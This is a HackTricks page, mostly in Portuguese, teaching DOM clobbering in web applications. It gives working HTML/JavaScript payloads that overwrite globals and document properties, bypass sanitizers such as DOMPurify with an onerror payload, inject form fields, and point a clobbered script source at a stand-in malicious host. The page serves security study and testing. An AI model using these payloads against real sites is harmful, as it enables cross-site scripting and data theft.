hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md

226 lines
13 KiB
Markdown
Raw Normal View History

2022-10-13 00:56:34 +00:00
# Dom Clobbering
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-10-13 00:56:34 +00:00
<details>
<summary>Support HackTricks</summary>
2022-10-13 00:56:34 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-10-13 00:56:34 +00:00
</details>
{% endhint %}
2022-10-13 00:56:34 +00:00
## **Basics**
2023-03-03 15:39:23 +00:00
2023-06-06 18:56:34 +00:00
É possível gerar **variáveis globais dentro do contexto JS** com os atributos **`id`** e **`name`** em tags HTML.
2023-03-03 15:39:23 +00:00
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
**Apenas** certos elementos podem usar o **atributo name** para clobber globais, eles são: `embed`, `form`, `iframe`, `image`, `img` e `object`.
2023-03-03 15:39:23 +00:00
Curiosamente, quando você usa um **elemento de formulário** para **clobber** uma variável, você obterá o valor **`toString`** do próprio elemento: `[object HTMLFormElement]`, mas com **âncora** o **`toString`** será o **`href`** da âncora. Portanto, se você clobber usando a **tag `a`**, você pode **controlar** o **valor** quando é **tratado como uma string**:
2023-03-03 15:39:23 +00:00
```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```
### Arrays & Attributes
2023-03-03 15:39:23 +00:00
Também é possível **substituir um array** e **atributos de objeto**:
2023-03-03 15:39:23 +00:00
```html
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
Para sobrescrever **um 3º atributo** (por exemplo, x.y.z), você precisa usar um **`form`**:
2023-03-03 15:39:23 +00:00
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
```
Clobbering mais atributos é **mais complicado, mas ainda possível**, usando iframes:
2023-03-03 15:39:23 +00:00
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
A tag de estilo é usada para **dar tempo suficiente para o iframe renderizar**. Sem ela, você encontrará um alerta de **undefined**.
2023-03-03 15:39:23 +00:00
{% endhint %}
Para sobrescrever atributos mais profundos, você pode usar **iframes com codificação html** desta forma:
2023-03-03 15:39:23 +00:00
```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
```
### **Contorno de Filtros**
2023-03-03 15:39:23 +00:00
Se um filtro estiver **percorrendo** as **propriedades** de um nó usando algo como `document.getElementByID('x').attributes`, você poderia **clobber** o atributo **`.attributes`** e **quebrar o filtro**. Outras propriedades do DOM como **`tagName`**, **`nodeName`** ou **`parentNode`** e mais também são **clobberáveis**.
2023-03-03 15:39:23 +00:00
```html
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
## **Clobbering `window.someObject`**
2022-10-13 00:56:34 +00:00
Em JavaScript, é comum encontrar:
2023-03-03 15:39:23 +00:00
```javascript
var someObject = window.someObject || {};
```
Manipular HTML na página permite substituir `someObject` por um nó DOM, potencialmente introduzindo vulnerabilidades de segurança. Por exemplo, você pode substituir `someObject` por um elemento âncora apontando para um script malicioso:
2022-10-13 00:56:34 +00:00
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
2022-10-13 00:56:34 +00:00
```
Em um código vulnerável como:
2023-03-03 15:39:23 +00:00
```html
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
2023-03-03 15:39:23 +00:00
```
Este método explora a fonte do script para executar código indesejado.
2022-10-13 00:56:34 +00:00
**Truque**: **`DOMPurify`** permite que você use o **`cid:`** protocolo, que **não codifica em URL aspas duplas**. Isso significa que você pode **injetar uma aspa dupla codificada que será decodificada em tempo de execução**. Portanto, injetar algo como **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** fará com que a HTML codificada `&quot;` seja **decodificada em tempo de execução** e **escape** do valor do atributo para **criar** o evento **`onerror`**.
2022-10-13 00:56:34 +00:00
Outra técnica usa um elemento **`form`**. Certas bibliotecas do lado do cliente inspecionam os atributos de um novo elemento de formulário criado para limpá-los. No entanto, ao adicionar um `input` com `id=attributes` dentro do formulário, você efetivamente sobrescreve a propriedade de atributos, impedindo que o sanitizador acesse os atributos reais.
2022-10-13 00:56:34 +00:00
Você pode [**encontrar um exemplo desse tipo de clobbering neste writeup de CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
2022-10-13 00:56:34 +00:00
## Clobbering do objeto documento
2022-10-13 00:56:34 +00:00
De acordo com a documentação, é possível sobrescrever atributos do objeto documento usando DOM Clobbering:
2022-10-13 00:56:34 +00:00
> A interface [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [suporta propriedades nomeadas](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Os [nomes de propriedades suportados](https://webidl.spec.whatwg.org/#dfn-supported-property-names) de um objeto [Document](https://html.spec.whatwg.org/multipage/dom.html#document) em qualquer momento consistem no seguinte, em [ordem de árvore](https://dom.spec.whatwg.org/#concept-tree-order) de acordo com o elemento que as contribuiu, ignorando duplicatas posteriores, e com valores de atributos [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) vindo antes de valores de atributos de nome quando o mesmo elemento contribui com ambos:
2022-10-13 00:56:34 +00:00
>
> \- O valor do atributo de conteúdo name para todos os elementos [expostos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) e [expostos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que têm um atributo de conteúdo name não vazio e estão [em uma árvore de documento](https://dom.spec.whatwg.org/#in-a-document-tree) com documento como seu [raiz](https://dom.spec.whatwg.org/#concept-tree-root);\
2022-10-13 00:56:34 +00:00
> \
> \- O valor do atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos os elementos [expostos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que têm um atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) não vazio e estão [em uma árvore de documento](https://dom.spec.whatwg.org/#in-a-document-tree) com documento como seu [raiz](https://dom.spec.whatwg.org/#concept-tree-root);\
2022-10-13 00:56:34 +00:00
> \
> \- O valor do atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos os elementos [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) que têm tanto um atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) não vazio quanto um atributo de conteúdo name não vazio, e estão [em uma árvore de documento](https://dom.spec.whatwg.org/#in-a-document-tree) com documento como seu [raiz](https://dom.spec.whatwg.org/#concept-tree-root).
2022-10-13 00:56:34 +00:00
Usando essa técnica, você pode sobrescrever **valores comumente usados, como `document.cookie`, `document.body`, `document.children`**, e até mesmo métodos na interface Document como `document.querySelector`.
2022-10-13 00:56:34 +00:00
```javascript
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## Escrevendo após o elemento clobrado
2022-10-13 00:56:34 +00:00
Os resultados das chamadas para **`document.getElementById()`** e **`document.querySelector()`** podem ser alterados ao injetar uma tag `<html>` ou `<body>` com um atributo id idêntico. Veja como isso pode ser feito:
2022-12-20 11:25:07 +00:00
```html
<div style="display:none" id="cdnDomain" class="x">test</div>
2022-12-20 11:25:07 +00:00
<p>
<html id="cdnDomain" class="x">clobbered</html>
2022-12-20 11:25:07 +00:00
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
2022-12-20 11:25:07 +00:00
</script>
```
Além disso, ao empregar estilos para ocultar essas tags HTML/body injetadas, a interferência de outro texto no `innerText` pode ser evitada, assim aumentando a eficácia do ataque:
2022-12-20 11:25:07 +00:00
```html
<div style="display:none" id="cdnDomain">test</div>
2022-12-20 11:25:07 +00:00
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
2022-12-20 11:25:07 +00:00
</script>
```
Investigações sobre SVG revelaram que uma tag `<body>` também pode ser utilizada de forma eficaz:
2022-12-20 11:25:07 +00:00
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
2022-12-20 11:25:07 +00:00
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
2022-12-20 11:25:07 +00:00
</script>
```
Para que a tag HTML funcione dentro do SVG em navegadores como Chrome e Firefox, uma tag `<foreignobject>` é necessária:
2022-12-20 11:25:07 +00:00
```html
<div style="display:none" id="cdnDomain">example.com</div>
2022-12-20 11:25:07 +00:00
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
2022-12-20 11:25:07 +00:00
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
2022-12-20 11:25:07 +00:00
</script>
```
## Clobbering Forms
É possível adicionar **novas entradas dentro de um formulário** apenas **especificando o atributo `form`** dentro de algumas tags. Você pode usar isso para **adicionar novos valores dentro de um formulário** e até mesmo adicionar um **botão** para **enviá-lo** (clickjacking ou abusando de algum código JS `.click()`):
2023-02-20 09:58:12 +00:00
{% code overflow="wrap" %}
2023-02-20 09:58:12 +00:00
```html
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
{% endcode %}
* Para mais atributos de formulário em [**botão confira isso**](https://www.w3schools.com/tags/tag\_button.asp)**.**
2023-02-20 09:58:12 +00:00
2023-06-06 18:56:34 +00:00
## Referências
2022-12-20 11:25:07 +00:00
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
* Heyes, Gareth. JavaScript para hackers: Aprenda a pensar como um hacker.
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-12-20 11:25:07 +00:00
2022-10-13 00:56:34 +00:00
<details>
<summary>Support HackTricks</summary>
2022-10-13 00:56:34 +00:00
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
2022-10-13 00:56:34 +00:00
</details>
{% endhint %}